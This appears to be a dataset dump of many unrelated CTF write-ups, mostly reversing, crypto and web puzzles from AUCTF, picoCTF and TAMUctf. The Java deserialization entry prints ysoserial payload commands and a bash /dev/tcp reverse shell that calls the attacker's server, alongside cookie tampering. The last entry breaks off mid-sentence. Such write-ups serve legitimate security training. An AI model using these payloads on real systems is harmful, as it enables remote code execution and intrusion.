text_chunk
stringlengths
151
703k
# Mr. Game and Watch (271 solves) > My friend is learning some wacky new interpreted language and different hashing algorithms. He's hidden a flag inside this program but I cant find it... He told me to connect to `challenges.auctf.com 30001` once I figured it out though. Author: nadrojisk We are given compiled java class. Again, we have 3 checks to pass in order to get the flag ### check 1: ```javaprivate static boolean crack_1(Scanner paramScanner) { System.out.println("Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this"); System.out.println("\t" + secret_1); System.out.print("Think you can crack it? If so give me the value that hashes to that!\n\t"); String str1 = paramScanner.nextLine(); String str2 = hash(str1, "MD5"); return (str2.compareTo(secret_1) == 0);}``` googling secret_1 md5 gives first flag `masterchief` ### check 2: ```javaprivate static int[] decrypt(String paramString, int paramInt) { int[] arrayOfInt = new int[paramString.length()]; for (byte b = 0; b < paramString.length(); b++) arrayOfInt[b] = paramString.charAt(b) ^ paramInt; return arrayOfInt;} private static boolean crack_2(Scanner paramScanner) { System.out.println("Nice work! One down, two to go ..."); System.out.print("This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out!\n\t"); String str = paramScanner.nextLine(); return (hash(str, "SHA1").compareTo(decrypt(secret_2, key_2)) == 0);}``` After decrypting secret_2 and looking for sha1 we find second flag `princesspeach` ### check 3: ```javaprivate static int[] encrypt(String paramString, int paramInt) { int[] arrayOfInt = new int[paramString.length()]; for (byte b = 0; b < paramString.length(); b++) arrayOfInt[b] = paramString.charAt(b) ^ paramInt; return arrayOfInt;} private static boolean crack_3(Scanner paramScanner) { System.out.print("Nice work! Here's the last one...\n\t"); String str1 = paramScanner.nextLine(); String str2 = hash(str1, "SHA-256"); int[] arrayOfInt = encrypt(str2, key_3); return Arrays.equals(arrayOfInt, secret_3);}``` `solidsnake` ```bash$ nc challenges.auctf.com 30001Welcome to the Land of Interpreted Languages!If you are used to doing compiled languages this might be a shock... but if you hate assembly this is the place to be! Unfortunately, if you hate Java, this may suck...Good luck! Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this d5c67e2fc5f5f155dff8da4bdc914f41Think you can crack it? If so give me the value that hashes to that! masterchiefNice work! One down, two to go ...This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out! princesspeachNice work! Here's the last one... solidsnakeThat's correct!auctf{If_u_h8_JAVA_and_@SM_try_c_sharp_2922}^C```
TLDR;- [MH Knapsack Cryptosystem](https://en.wikipedia.org/wiki/Merkle%E2%80%93Hellman_knapsack_cryptosystem) [Writeup](https://jsur.in/posts/2020-04-06-auctf-2020-writeups#sleep-on-it)
# Don't Break Me! (133 solves) > I've been working on my anti-reversing lately. See if you can get this flag! Connect at `challenges.auctf.com 30005` Author: nadrojisk We have to find the right password that after encryption == `SASRRWSXBIEBCMPX` ```c++char* encrypt(char *s, int a2, int a3){ size_t v3; _BYTE *v5; size_t i; v3 = strlen(s); v5 = calloc(v3, 1u); for ( i = 0; strlen(s) > i; ++i ) { if ( s[i] == 32 ) v5[i] = s[i]; else v5[i] = (a2 * (s[i] - 65) + a3) % 26 + 65; } return v5;}``` ### Solution: Simple bruteforce will do the trick. ```pythonimport sysimport string flag = 'SASRRWSXBIEBCMPX' charset = [ord(i) for i in string.ascii_letters + string.digits + '_'] def encrypt(f): return chr((17 * (f - 0x41) + 12) % 26 + 65) def solve(): out = '' for k in range(len(flag)): for i in charset: if encrypt(i) == flag[k]: print('found ', k) out += chr(i) break print(out) if __name__ == "__main__": sys.exit(solve()) ``` ```bash$ nc challenges.auctf.com 3000554 68 65 20 6d 61 6e 20 69 6e 20 62 6c 61 63 6b 20 66 6c 65 64 20 61 63 72 6f 73 73 20 74 68 65 20 64 65 73 65 72 74 2c 20 61 6e 64 20 74 68 65 20 67 75 6e 73 6c 69 6e 67 65 72 20 66 6f 6c 6c 6f 77 65 64 2eInput: cecffqcnbgsbyulnauctf{static_or_dyn@mIc?_12923}^C```
# Chestburster (23 solves) > I'm out of descriptions. This guys got layers!>> Connect with `nc challenges.auctf.com 30006` Author: nadrojisk The challenge consist of 2 parts. In first, we have to find right password, and in second we have to intercept flag transmission. ### Part 1: ```c++int main(){ FILE *v3; FILE *v4; int result; char v6; char v7; char Buffer; v3 = _acrt_iob_func(1u); setvbuf(v3, 0, 4, 0); printf("Welcome to The Vault!\n\n\tThis challenge is simple answer the questions right and you get the flag!\n", v7); printf("Be warned however, what you seek may not be here ... \n", v6); if ( check() ) { printf("\tNice job!\n", Buffer); v4 = fopen("flag.txt", "r"); if ( !v4 ) { printf("Too bad you can only run this exploit on the server...\n", Buffer); exit(0); } fgets(&Buffer, 512, v4); printf("%s", (char)&Buffer); result = 0; } else { printf("\tThat is not correct\n", Buffer); result = 0; } return result;}``` The check function is pretty big... After it read our input it makes some encoding and compares it to `welcome_to_the_jungle!` ```c++return strcmp(encoded_input, "welcome_to_the_jungle!");``` So, we can observe what our input is being encoded into. I ran the binary with input = `0123456789abcdefghijkl` and got `5b06c17dl28ekj39fihg4a` So it looks that the algorithm just swaps the letters. So, lets reverse that: ```pythonimport sys def main(): inp = '0123456789abcdefghijkl' out = '5b06c17dl28ekj39fihg4a' flag= 'welcome_to_the_jungle!' flag_flag = [0 for i in range(22)] for i, v in enumerate(inp): pos = out.find(v) flag_flag[i] = flag[pos] print(''.join(flag_flag)) if __name__ == "__main__": sys.exit(main())``` We get `lmo_ewce_j!eo_tulgneht` Lets check it: ```bash$ nc challenges.auctf.com 30006Welcome to The Vault! This challenge is simple answer the questions right and you get the flag!Be warned however, what you seek may not be here ... You know the drill, give me some input and I'll tell you if it's right lmo_ewce_j!eo_tulgneht Nice job!Sorry Mario your flag isn't here... but you can have this! challenges.auctf.com:30009^C``` Instead of flag we get the link to an empty website.. ### Part 2: The executable file itself weights 6 mb. It\`s not normal. If we open it in hex editor and search for `This program` we find another executable appended to the end of the first one. The second executable is written in `GO` and its very huge. If we run it, it asks us for `URL:PORT` and if we give `challenges.auctf.com:30009` to it it prints ```>chestburster.exe challenges.auctf.com:30009Establishing Connection ... Message from server: Ahh. I see you've found me... here comes the flag :)Message from server:``` So, it looks like it prints only part of the message. We can use wireshark to intercept transmission and get full message. ```>chestburster.exe challenges.auctf.com:30009Establishing Connection ... Message from server: Ahh. I see you've found me... here comes the flag :)Message from server: auctf{r3s0urc3_h4cK1Ng_1S_n3at0_1021}```
# Plain Jane (144 solves) > I'm learning assembly. >> Think you can figure out what this program returns? >> Note: Not standard flag format. >> Please provide either the unsigned decimal equivalent or hexadecimal equivalent. Author: nadrojisk In this challenge we are given assembly source file. ### Solution: We compile it with `gcc` , open in debugger, place bp after last function. eax value is the flag.
# Purple Socks (54 solves) > We found this file hidden in a comic book store. Do you think you can reverse engineer it? We think it's been encrypted but we aren't sure. Author: nadrojisk We are given an encrypted file. Assuming it is a reverse challenge, it is probably an encrypted executable. First few bytes: ```31 0B 02 08 4F 4F 4F 00 00 00 00 00 00 00 00 00 4D 00 4D 00 4F 00 00 00 3E 5F 00 00 7A 00 00 00 62 73 00 00 00 00 00 00 7A 00 6E 00 45 00 66 00``` ```python>>> elf = '\x7fELF'>>> bin = '\x31\x0b\x02\x08' >>> for i in range(len(elf)):... print(chr(ord(elf[i]) ^ ord(bin[i])))...NNNN>>>``` It looks like non zero values are xored with letter `N`. Now we can decrypt it. ```pythonf = open('out', 'wb') with open('purple_socks', 'rb') as f: raw = f.read() for i in range(len(raw)): if raw[i] != 0: f.write(raw[i] ^ ord('N')) else: f.write(chr(raw[i]))f.close()``` main: ```c++int main(int argc, const char **argv, const char **envp){ char v4[8192]; char dest[8192]; int *v6; v6 = &arg;; lp_input = (const char *)&input; setvbuf(stdout, 0, 2, 0); puts("Please Login: "); printf("username: "); fgets((char *)lp_input, 0x2000, stdin); remove_newline((char *)lp_input); strcpy(dest, lp_input); strcpy(v4, lp_input); printf("password: "); fgets((char *)lp_input, 0x2000, stdin); remove_newline((char *)lp_input); sprintf(dest, "%s:%s", dest, lp_input); if ( !strcmp(dest, creds) ) { printf("Welcome %s\n\n", v4); commandline(); } puts("Error: Incorrect login credentials"); return 0;}``` Looks like some kind of service. The creds are `bucky:longing, rusted, seventeen, daybreak, furnace, nine, benign, homecoming, one, freight car` Lets log in and check whats up: ```bash$ nc challenges.auctf.com 30049Please Login:username: buckypassword: longing, rusted, seventeen, daybreak, furnace, nine, benign, homecoming, one, freight carWelcome bucky > [? for menu]: lslscall: lsencentry.shflag.txt> [? for menu]: read flag.txtThis file is password protected ...You will have to enter the password to gain access``` So, in order to get the read the flag we need the password. Lets find check password function: ```c++int encrypt(){ size_t input_len; size_t v1; size_t v2; char input[8192]; int v5; _DWORD *out; unsigned int j; int v8; int i; puts("This file is password protected ... \nYou will have to enter the password to gain access"); printf("Password: "); fgets(input, 0x2000, stdin); input_len = strlen(input); out = malloc(4 * input_len); for ( i = 0; ; ++i ) { v1 = strlen(input); if ( v1 <= i ) break; v5 = i % 5; out[i] = input[i] ^ seed[i % 5]; seed[v5] = out[i]; } v8 = 0; for ( j = 0; ; ++j ) { v2 = strlen(input); if ( v2 <= j ) break; if ( secret[j] != out[j] ) v8 = 1; } return v8;}``` ### Solution: ```pythonsecret = [ 0x0e, 0x05, 0x06, 0x1a, 0x39, 0x7d, 0x60, 0x75, 0x7b, 0x54, 0x18, 0x6a] seed = [0x61, 0x75, 0x63, 0x74, 0x66] def solve(): state = 'auctf' seed2 = [0 for i in range(5)] out = '' for i in range(len(secret)): for j in range(32, 127): c = seed[i % len(seed)] if j ^ c == secret[i]: out += chr(j) seed[i % len(seed)] = j ^ c break print(out) if __name__ == "__main__": solve()``` gives `open_sesame`: ```bashPassword: open_sesameauctf{encrypti0n_1s_gr8t_12921}> [? for menu]:```
# Sora (226 solves) > This obnoxious kid with spiky hair keeps telling me his key can open all doors. Can you generate a key to open this program before he does? Connect to `challenges.auctf.com 30004` Author: nadrojisk check function: ```c++__int64 check(char *input){ int i; for ( i = 0; i < strlen(secret); ++i ) { if ( (8 * input[i] + 19) % 61 + 65 != secret[i] ) return 0; } return 1;}``` ### Solution: I wrote keygen for this challenge: ```pythonfrom z3 import *import sys secret = 'aQLpavpKQcCVpfcg'flag_len = len(secret) def find_all_posible_solutions(s): while s.check() == sat: model = s.model() block = [] out = '' for i in range(flag_len): c = globals()['b%i' % i] out += chr(model[c].as_long()) block.append(c != model[c]) s.add(Or(block)) print(out) def main(): s = Solver() for i in range(flag_len): c = globals()['b%d' % i] = BitVec('b%d' % i, 32) s.add(c > 32, c < 127) s.add((8 * c + 19) % 61 + 65 == ord(secret[i]) ) find_all_posible_solutions(s) if __name__ == "__main__": sys.exit(main())``` Submitting any of them will give the flag: ```bash$ nc challenges.auctf.com 30004Give me a key!try_7o"%rea."0(Gauctf{that_w@s_2_ezy_29302}```
<h1 align="center">Cryptography</h1> <h3>Polybius 70 points</h3> Polybius is hosting a party, and you’re invited. He gave you his number; be there or be square!Note, this flag is not in the usual flag format. Download the file below: polybius.txt ``` shell413532551224514444425111431524443435454523114523114314``` ``` shellFor this challenge, i use the site DCODE. Flag: POLYBIUSSQUAREISNOTTHATHARD``` <h3>Classic 80 points</h3> My friend told me this "was a classic", but these letters and numbers don't make any sense to me. I didn't know this would be a factor in our friendship! Download the file below: classic.txt ``` pythonFor this challenge, i use python with libnum and yafu for the factorisation of n. n = 77627938360345301510724699969247652387657633828943576274039402978346703944383 e = 65537 c = 62899945974090753231979111677615029855602721049941681356856158761811378918268 """Factorisation with YAFUstarting SIQS on c77: 77627938360345301510724699969247652387657633828943576274039402978346703944383 ==== sieving in progress (1 thread): 36224 relations needed ======== Press ctrl-c to abort and save state ====36103 rels found: 18466 full + 17637 from 187841 partial, (873.70 rels/sec) SIQS elapsed time = 239.6736 seconds.Total factoring time = 300.7092 seconds ***factors found*** P39 = 269967471399519356371128763174813106357P39 = 287545525236502653835798598413374134819 ans = 1""" p = 269967471399519356371128763174813106357q = 287545525236502653835798598413374134819 #!/usr/bin/env pythonimport libnum n=p*qphi=(p-1)*(q-1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, n)) # LLS{just_another_rsa_chal} Flag: LLS{just_another_rsa_chal}``` <h3>Hot Dog 100 points</h3> This isn't a problem with the grill. Download the file below: hot_dog.txt ``` pythonFor this challenge, i use python3 and RsaCtfTool. python3 RsaCtfTool.py -n 609983533322177402468580314139090006939877955334245068261469677806169434040069069770928535701086364941983428090933795745853896746458472620457491993499511798536747668197186857850887990812746855062415626715645223089415186093589721763366994454776521466115355580659841153428179997121984448771910872629371808169183 -e 387825392787200906676631198961098070912332865442137539919413714790310139653713077586557654409565459752133439009280843965856789151962860193830258244424149230046832475959852771134503754778007132465468717789936602755336332984790622132641288576440161244396963980583318569320681953570111708877198371377792396775817 --uncipher 387550614803874258991642724003284418859467464692188062983793173435868573346772557240137839436544557982321847802344313679589173157662615464542092163712541321351682014606383820947825480748404154232812314611063946877021201178164920650694457922409859337200682155636299936841054496931525597635432090165889554207685 --verbose[*] Performing hastads attack.[*] Performing prime_n attack.[*] Performing factordb attack.[*] Performing pastctfprimes attack.[*] Loaded 71 primes[*] Performing mersenne_primes attack.[*] Performing noveltyprimes attack.[*] Performing smallq attack.[*] Performing wiener attack.[+] Clear text : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LLS{looks_like_weiners_on_the_barbecue}' Flag: LLS{looks_like_weiners_on_the_barbecue}``` <h3>Old Monitor 135 points</h3> I have this old CRT monitor that I use for my desktop computer. It crashed on me and spit out all these weird numbers… Download the file below: old_monitor.png ``` shellFor this challenge, i use gocr and python.``` ``` python N1 = 7156756869076785933541721538001332468058823716463367176522928415602207483494410804148006276542112924303341451770810669016327730854877940615498537882480613N2 = 11836621785229749981615163446485056779734671669107550651518896061047640407932488359788368655821120768954153926193557467079978964149306743349885823110789383N3 = 7860042756393802290666610238184735974292004010562137537294207072770895340863879606654646472733984175066809691749398560891393841950513254137326295011918329C1 = 816151508695124692025633485671582530587173533405103918082547285368266333808269829205740958345854863854731967136976590635352281190694769505260562565301138C2 = 8998140232866629819387815907247927277743959734393727442896220493056828525538465067439667506161727590154084150282859497318610746474659806170461730118307571C3 = 3488305941609131204120284497226034329328885177230154449259214328225710811259179072441462596230940261693534332200171468394304414412261146069175272094960414 e=3def chinese_remainder(n, a): sum = 0 prod = reduce(lambda a, b: a*b, n) for n_i, a_i in zip(n, a): p = prod / n_i sum += a_i * mul_inv(p, n_i) * p return sum % prod def mul_inv(a, b): b0 = b x0, x1 = 0, 1 if b == 1: return 1 while a > 1: q = a / b a, b = b, a%b x0, x1 = x1 - q * x0, x0 if x1 < 0: x1 += b0 return x1 def find_invpow(x,n): """Finds the integer component of the n'th root of x, an integer such that y ** n <= x < (y + 1) ** n. """ high = 1 while high ** n < x: high *= 2 low = high/2 while low < high: mid = (low + high) // 2 if low < mid and mid**n < x: low = mid elif high > mid and mid**n > x: high = mid else: return mid return mid + 1 flag_cubed=chinese_remainder([N1,N2,N3],[C1,C2,C3])flag=find_invpow(flag_cubed,3) print "flag: ",hex(flag)[2:-1].decode("hex") # flag: LLS{the_chinese_remainder_theorem_is_so_cool} Flag: LLS{the_chinese_remainder_theorem_is_so_cool}``` Return to the main menu Return to the main menu
# TI-83 Beta (68 solves) > Hey I'm building a new calculator! I hid a flag inside it, think you can find it? Author: nadrojisk We are given a windows executable. The flag is in `SEH` exception handler that was registered in main function: ```.text:004124D0 ; int __cdecl main_0(int argc, const char **argv, const char **envp).text:004124D0 _main_0 proc near ; CODE XREF: _main↑j.text:004124D0.text:004124D0 var_C0 = byte ptr -0C0h.text:004124D0 argc = dword ptr 8.text:004124D0 argv = dword ptr 0Ch.text:004124D0 envp = dword ptr 10h.text:004124D0.text:004124D0 push ebp.text:004124D1 mov ebp, esp.text:004124D3 sub esp, 0C0h.text:004124D9 push ebx.text:004124DA push esi.text:004124DB push edi.text:004124DC lea edi, [ebp+var_C0].text:004124E2 mov ecx, 30h.text:004124E7 mov eax, 0CCCCCCCCh.text:004124EC rep stosd.text:004124EE push offset sub_4111A9 ; <- exception handling func.text:004124F3 push large dword ptr fs:0 ; char.text:004124FA mov large fs:0, esp.text:00412501 push offset aWelcomeToMyPro ; "Welcome to my program!\n".text:00412506 call print.text:0041250B add esp, 4``` The exception handler is a bit obfuscated so IDA could not create a function from it. The flag is being create on stack one byte at the time. ```.text:00412560 loc_412560: ; CODE XREF: sub_4111A9↑j.text:00412560 push ebp.text:00412561 mov ebp, esp.text:00412563 sub esp, 0C0h.text:00412569 push ebx.text:0041256A push esi.text:0041256B push edi.text:0041256C lea edi, [ebp-0C0h].text:00412572 mov ecx, 30h ; '0'.text:00412577 mov eax, 0CCCCCCCCh.text:0041257C rep stosd.text:0041257E xor eax, eax.text:00412580 jz short loc_412584.text:00412580 ; ---------------------------------------------------------------------------.text:00412582 db 0EAh ; ê.text:00412583 db 58h ; X.text:00412584 ; ---------------------------------------------------------------------------.text:00412584.text:00412584 loc_412584: ; CODE XREF: .text:00412580↑j.text:00412584 mov eax, 0.text:00412589 sub esp, 20h.text:0041258C mov byte ptr [esp], 61h ; 'a'.text:00412590 mov byte ptr [esp+1], 75h ; 'u'.text:00412595 mov byte ptr [esp+2], 63h ; 'c'.text:0041259A mov byte ptr [esp+3], 74h ; 't'.text:0041259F mov byte ptr [esp+4], 66h ; 'f'.text:004125A4 mov byte ptr [esp+5], 7Bh ; '{'.text:004125A9 mov byte ptr [esp+6], 6Fh ; 'o'.text:004125AE xor eax, eax.text:004125B0 jz short loc_4125B4.text:004125B0 ; ---------------------------------------------------------------------------.text:004125B2 db 0EAh ; ê.text:004125B3 db 58h ; X.text:004125B4 ; ---------------------------------------------------------------------------.text:004125B4.text:004125B4 loc_4125B4: ; CODE XREF: .text:004125B0↑j.text:004125B4 mov byte ptr [esp+7], 6Fh ; 'o'.text:004125B9 mov byte ptr [esp+8], 70h ; 'p'.text:004125BE mov byte ptr [esp+9], 73h ; 's'.text:004125C3 mov byte ptr [esp+0Ah], 5Fh ; '_'.text:004125C8 mov byte ptr [esp+0Bh], 64h ; 'd'.text:004125CD mov byte ptr [esp+0Ch], 69h ; 'i'.text:004125D2 mov byte ptr [esp+0Dh], 64h ; 'd'.text:004125D7 mov byte ptr [esp+0Eh], 5Fh ; '_'.text:004125DC mov byte ptr [esp+0Fh], 69h ; 'i'.text:004125E1 mov byte ptr [esp+10h], 5Fh ; '_'.text:004125E6 mov byte ptr [esp+11h], 64h ; 'd'.text:004125EB mov byte ptr [esp+12h], 6Fh ; 'o'.text:004125F0 mov byte ptr [esp+13h], 5Fh ; '_'.text:004125F5 mov byte ptr [esp+14h], 74h ; 't'.text:004125FA mov byte ptr [esp+15h], 68h ; 'h'.text:004125FF mov byte ptr [esp+16h], 74h ; 't'.text:00412604 mov byte ptr [esp+17h], 7Dh ; '}'.text:00412609 mov byte ptr [esp+18h], 0Ah.text:0041260E mov byte ptr [esp+19h], 0.text:00412613 push esp.text:00412614 call print``` `auctf{oops_did_i_do_tht}`
# Too Many Credits 1Okay, fine, there’s a lot of credit systems. We had to put that guy on break; seriously concerned about that dude.Anywho. We’ve made an actually secure one now, with Java, not dirty JS this time. Give it a whack?If you get two thousand million credits again, well, we’ll just have to shut this program down.Even if you could get the first flag, I bet you can’t pop a shell!http://toomanycredits.tamuctf.com # SolutionThis challenge is about Java Serialization. ## Understanding the cookieOn visiting the link we see a page with a counter. On inspecting the cookies we see a base64 string as cookie. On directly decoding it you get gibberish. This is because its not plain text.The best way to handle such base64 strings is to decode the string and save it into a file. Use a command like ```echo -n H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAEwAKMkv7UgAAAA== | base64 -d w0 >> unknown_file``` Then run file on it to know the actual filetype.```file unknown_file```This is will return saying its a gzip file. On extracting we get another file, applying ``file`` on it gives filetype as Java Serialized Object. The combined command to get the java object from the string ```echo -n H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAEwAKMkv7UgAAAA== | base64 -d | gzip -d >> java_ser_obj``` ## Crafting our payload So now we know we have to understand how such an Object is structured in order to edit it and increase our credits valueFor information about the structure of the object, refer https://www.javaworld.com/article/2072752/the-java-serialization-algorithm-revealed To view the deserialized payload, we can [Serialization Dumper](https://github.com/NickstaDB/SerializationDumper) tool by NickstaDB ![Deserialized_object](deserialized.png)We can see that it has a field of Long type which holds the credits count. So its obvious that we have to find and edit that to a two thousand million in order to get the flag. If you read the structure article you could now anticipate where the value would be in the hexdump and change it appropriately. Incase you skipped that part, just look for a 3 in the hex and change it.(Its at the very end).The last 16 bytes hold the Long value. We need to change it to a high hex value. We can patch that using an [online hex editor](https://hexed.it/?hl=en)I am attatching the [patched object](patched_object) for reference ![hexdump](object_hex.png) After patching it we compress it, base64 encode it and send it as cookie. The entire command to generate payload from the patched object``` gzip -c patched_object | base64 - ``` This returns the payload string `H4sICBsJe14AA3BhdGNoZWRfb2JqZWN0AFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMFxgAAEBAAdAMaNSAAAA` Submit this as cookie to see the flag displayed. # Too Many Credits 2Even if you could get the first flag, I bet you can't pop a shell!URL: http://toomanycredits.tamuctf.com # SolutionThis challenge is about Java Deserialization Vulnerability.[Video]https://www.youtube.com/watch?v=KSA7vUkXGSg explaining the exploit discovered by Chris Frohoff & Gabriel Lawrence ## Finding the payloadBasically we have to craft a java object which when deserialized by the java code in the server starts a remote shell.An open-source tool named [ysoserial](https://github.com/frohoff/ysoserial) was also developed. Refer this (https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/) for a better idea how this attack works. The tool automatially creates payload with the command we wish to execute on the shell obtained. It gives us various payloads to work with, we will have to test each one out to figure out the one that works. [SerialBrute](https://github.com/NickstaDB/SerialBrute) is a tool that could automate this. It tests out each payload. However we did it manually. However since this looks like a Java web app, you could try out the Spring framework payload first. To manually generate a payload the following command can be used``` java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring1 'ping -n 1 8.8.8.8' | gzip | base64 -w0 ``` This payload will pop a shell and execute the ping command. To decide on the payload, we have to observe the error returned by the web app when we send the payload. When a particular class required in the payload does not exist on the server, the error message contains the name of the class not found. When all the classes required are present, the error returns as 'No Message Available' in the site. See below the difference between the error messages returned![not_found](not_found_class.png "Class_not_found") ![found_all](found_all.png "All Class Available") ## Popping a Remote Shell So after finding the payload that works, we need to test out the commands that will work. Change 8.8.8.8 to the IP of your server and listen for a ping request using ``` sudo tcpdump icmp ``` on your server. ![ping_request](ping_request.png) Yay! The command executed. We have RCE. Now we need a remote shell running to interact with and get the flag. You can find a list of payloads to get a remote shell from (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet). I went with ` bash -i >& /dev/tcp/0.0.0.0/8065 0>&1 ` with 0.0.0.0 replaced with my server IP and listened for connection on my server port 8065. This is where I got stuck with an issue, the payload I gave didn't execute on the server. So I tried various ones and none of them worked. I took me a while to figure out the issue. From what I understood the ysoserial generates payloads and gives the entire command string as a single argument to the object created. But if we want to execute complex commands we have to pass each part of the complex commands in an array. This was not an issue with simple commands like ping, wget, ls. But piping and redirection of output won't work. So a modification is needed while generating payloads. This is done in the [ysoserial-modified](https://github.com/pimps/ysoserial-modified) repo. If you didn't understand what I tried to explain here please look up this article (https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html) to get a much clear idea. Also the repo has details as to why the modification was required. Generating our payload using ysoserial-modified:```java -jar ysoserial-modified.jar Spring1 bash 'bash -i >& /dev/tcp/x.x.x.x/8065 0>&1' | gzip | base64 -w0``` ![final_payload](final_payload.png) Listening on our server for the incoming connection ```nc -lvp 8065``` we get a shell and the flag from the text file on the remote server ![shell](remote_shell.png)
This challenge is pretty simple. We enter a number when prompted. And if the number is correct, then we win.This is determined by a check if rbx = 0x471de8678ae30ba1 and if rax = 0xacdee2ed87a5d886. I noticed that the computation was being done toward the end of main()Here's the start of them in IDA: ![IDA image failed to load](images/ida.png) With odd-numbered steps, we call one function that does a few operations with rax and rsi. With even steps, we call a function that does some with rax, rsi, and rdx. My thoughts when I saw this were to see if there was some way if I could replicate the steps that the binary was taking and if I could find the number that will get me to the desired result. Z3 is very powerful for problems like these. I used the guide from https://0xeb.net/2018/03/using-z3-with-ida-to-simplify-arithmetic-operations-in-functions/ to give me an idea of how we can set the steps up. I've never solved with Z3 before, so this was very helpful. As it turns out, a number that makes rbx = 0x471de8678ae30ba1 will also fit the requirements for rax. So, we don't really have to worry about the registers other than rbx, r13, and rbp. My script spit out a number, 982730589345. And when we plug it in, it passes the check.![GDB Image failed to load](images/check.png) Once you run it on the remote server, you get the flag.
TLDR: It's a JSON serializer, you can enter something like: {1337:"aaaaa"} to get to a string comparison part with EEPROM data. You can use this side channel to leak 32 bytes of EEPROM which contains the flag. [Full writeup](https://ctf.harrisongreen.me/2020/midnightsunctf/avr/)
# Woooosh ```Price: 130 pointsDescription: Clam's tired of people hacking his sites so he spammed obfuscation on his new game. I have a feeling that behind that wall of obfuscated javascript there's still a vulnerable site though. Can you get enough points to get the flag? I also found the backend source.Flag: actf{w0000sh_1s_th3_s0und_0f_th3_r3qu3st_fly1ng_p4st_th3_fr0nt3nd}``` I decided to take this challenge diferently. Instead of reversing client-server protocol, I just won this game, cuz it only needs 20 points to give you flag. And so I made this simple python script, that looks for red dot on the screen, and clicks it. xD ```pythonimport pyautoguiimport timeold = ''for x in range(200): dot = pyautogui.locateCenterOnScreen('dot.png', region=(665, 310, 580, 325)) # have to take screenshot of this dot, and cut it to size. if old != dot: if dot != None: pyautogui.click(dot, clicks=1) print(f'old is {old}, new is {dot}') old = dot else: pass else: pass```
# AUCTFAUCTF-mr_game_and_watch.class in this challange mr_game_and_watch.class file was give which is bacally java binary \\\\\\\\\\\\\\\\\\\\/////////////////////////////\\\\https://drive.google.com/open?id=1LBZMcQGr-sHxKIZ0qMlxVtSVsFwC_hgY \\\\\\\\\\\\\\\\\\\\\\\\\\\//////////////////////////by using online clean code u can clean it and using onlline complier you can compile codeand i edited some 2 lines of code to get hash\\\![alt text](https://drive.google.com/uc?export=view&id=1NMH8u2zstg2OW935JreMu1mssFR56L8A) ![alt text](https://drive.google.com/uc?export=view&id=https://drive.google.com/open?id=1ht_LsYfJbzewKrj1sBXKW0m1UqZBVLLK) decode these hashes online by any website ![alt text](https://drive.google.com/uc?export=view&id=1bU5D3AWuHDMnWnE1yOARJDGaX5FGzynb) ![alt text](https://drive.google.com/uc?export=view&id=19PEJSu26rBAKTqAISmI7UEe5mBtGqtfj) :)
# picoCTF 2019 Web Challenges --- ## Inspector(50) ### Problem > Kishor Balan tipped us off that the following code may need inspection: `https://2019shell1.picoctf.com/problem/61676/` ([link](https://2019shell1.picoctf.com/problem/61676/)) or http://2019shell1.picoctf.com:61676 ### Hints > How do you inspect web code on a browser?>> There's 3 parts ### Solution Visiting the website, we right click and choose to view source code, getting the first third of the flag, included as a html comment: ```html ``` The second part of the flag comes from the referenced CSS file [mycss.cs](https://2019shell1.picoctf.com/problem/61676/mycss.css): ```CSS/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */``` The last part comes from the Javascript scipt [myjs.js](https://2019shell1.picoctf.com/problem/61676/myjs.js): ```javascript/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?1638dbe7} */``` Hence combining the 3 parts gives the flag: `picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?1638dbe7}` ## dont-use-client-side(100) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/49886/` ([link](https://2019shell1.picoctf.com/problem/49886/)) or http://2019shell1.picoctf.com:49886 ### Hints > Never trust the client ### Solution Opening the website greets us with a 'login' page, requiring credentials. As referenced by the problem name, we assume that the check for the validity of the credentials is checked locally, and hence can be reversed to obtain the correct password. Checking the html source code gives us: ```html<script type="text/javascript"> function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(0, split) == 'pico') { if (checkpass.substring(split*6, split*7) == 'e2f2') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(split*4, split*5) == 'ts_p') { if (checkpass.substring(split*3, split*4) == 'lien') { if (checkpass.substring(split*5, split*6) == 'lz_e') { if (checkpass.substring(split*2, split*3) == 'no_c') { if (checkpass.substring(split*7, split*8) == '4}') { alert("Password Verified") } } } } } } } } else { alert("Incorrect password"); } }</script>``` The checkpass variable holds our input, and the each substring method in this case gets us *split*(set to 4) number of characters starting from the first argument to the method. We assemble the credentials, and hence the flag, accordingly: `picoCTF{no_clients_plz_ee2f24}` ## logon(100) ### Problem > The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? `https://2019shell1.picoctf.com/problem/32270/` ([link](https://2019shell1.picoctf.com/problem/32270/)) or http://2019shell1.picoctf.com:32270 ### Hints > Hmm it doesn't seem to check anyone's password, except for {{name}}'s? ### Solution No matter what credentials we use for the login, it successfully logs us in but doesn't give us the flag. This suggests that a cookie might be used to store a separate variable that might be preventing us from seeing the flag. Sure enough, we notice an admin cookie set to 